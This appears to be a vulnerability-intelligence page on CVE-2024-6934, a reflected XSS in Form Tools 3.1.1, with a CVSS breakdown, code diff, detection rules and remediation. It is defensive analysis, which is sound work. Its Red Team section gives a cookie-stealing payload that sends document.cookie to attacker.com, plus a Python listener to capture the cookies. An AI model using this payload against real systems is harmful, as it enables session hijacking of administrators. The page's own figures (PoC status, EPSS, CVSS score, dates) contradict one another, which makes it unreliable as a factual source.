☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-6934

CVE-2024-6934 Cross-Site Scripting in Formtools.org
📅 PUBLISHED: 2024-07-21 01:31 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6934 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in Form Tools 3.1.1, a web-based form management application. The flaw resides in the /admin/forms/add/step2.php endpoint, specifically when the submission_type parameter is set to direct. An attacker can inject arbitrary JavaScript or HTML via the Form URL argument, leading to stored or reflected XSS depending on how the input is persisted. The vendor (formtools.org) has not responded to disclosure, leaving users at risk. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of a proof-of-concept (PoC) increases the threat.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP application (Form Tools). No supply chain implications are present.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 6.1 (Medium)
Threat Level: Medium – Public PoC exists, but no active exploitation observed.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Form URL parameter of /admin/forms/add/step2.php?submission_type=direct. The application fails to sanitize or encode user-supplied input before rendering it in the response. An attacker can craft a URL like:

http://target.com/admin/forms/add/step2.php?submission_type=direct&form_url=<script>alert('XSS')</script>

When an authenticated admin visits this link, the script executes in their browser context, potentially allowing session hijacking, defacement, or redirection to malicious sites. The submission_type=direct parameter is required to trigger the vulnerable code path.

Vulnerable vs. Patched Code

Vulnerable Code (Form Tools 3.1.1):
The form_url parameter is directly echoed without sanitization.

// /admin/forms/add/step2.php (vulnerable)
$form_url = $_GET['form_url'];
echo "<input type='text' name='form_url' value='$form_url'>";

Patched Code (Hypothetical):
Proper output encoding using htmlspecialchars().

// Patched version
$form_url = htmlspecialchars($_GET['form_url'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='form_url' value='$form_url'>";

No official patch has been released.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Deploy Form Tools 3.1.1 on a local server (e.g., XAMPP).
  2. Craft Payload:
    http://localhost/formtools/admin/forms/add/step2.php?submission_type=direct&form_url=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to an authenticated admin via email or social engineering.
  4. Capture: Set up a listener on attacker.com to receive stolen cookies.

Example Python listener:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open('log.txt', 'a') as f:
            f.write(self.path + '\n')
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

Blue Team (Defense & Detection)

  1. Monitor HTTP logs for suspicious form_url parameters containing <script>, onerror, or javascript:.
  2. Deploy WAF rules to block XSS patterns in query strings.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Use input validation on the server side (e.g., strip HTML tags from form_url).

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /admin/forms/add/step2.php?submission_type=direct&form_url= containing <script> tags or encoded JavaScript.
  • Logs: Server access logs showing unusual form_url values.
  • File: No file-based IOCs; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_6934_XSS_FormTools {
    meta:
        description = "Detects XSS attempts targeting Form Tools CVE-2024-6934"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6934"
    strings:
        $xss_pattern = /form_url=.*<script/i
        $xss_pattern2 = /form_url=.*onerror/i
        $xss_pattern3 = /form_url=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6934 XSS in Form Tools
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Form Tools /admin/forms/add/step2.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/admin/forms/add/step2.php?submission_type=direct&form_url='
        cs-uri-query|re: 'form_url=.*(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of form URLs with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6934 XSS in Form Tools"; flow:to_server,established; content:"/admin/forms/add/step2.php"; http_uri; content:"submission_type=direct"; http_uri; content:"form_url="; http_uri; pcre:"/form_url=.*(<script|onerror|javascript:)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the vulnerable endpoint or restrict access via .htaccess or firewall rules.
  2. Short-term: Apply input validation and output encoding manually (see patched code example).
  3. Long-term: Upgrade to a patched version if released, or migrate to an alternative form management solution.
  4. Compensating Controls: Deploy a Web Application Firewall (WAF) with XSS rules, enforce Content Security Policy (CSP), and use HTTP-only cookies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6934/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.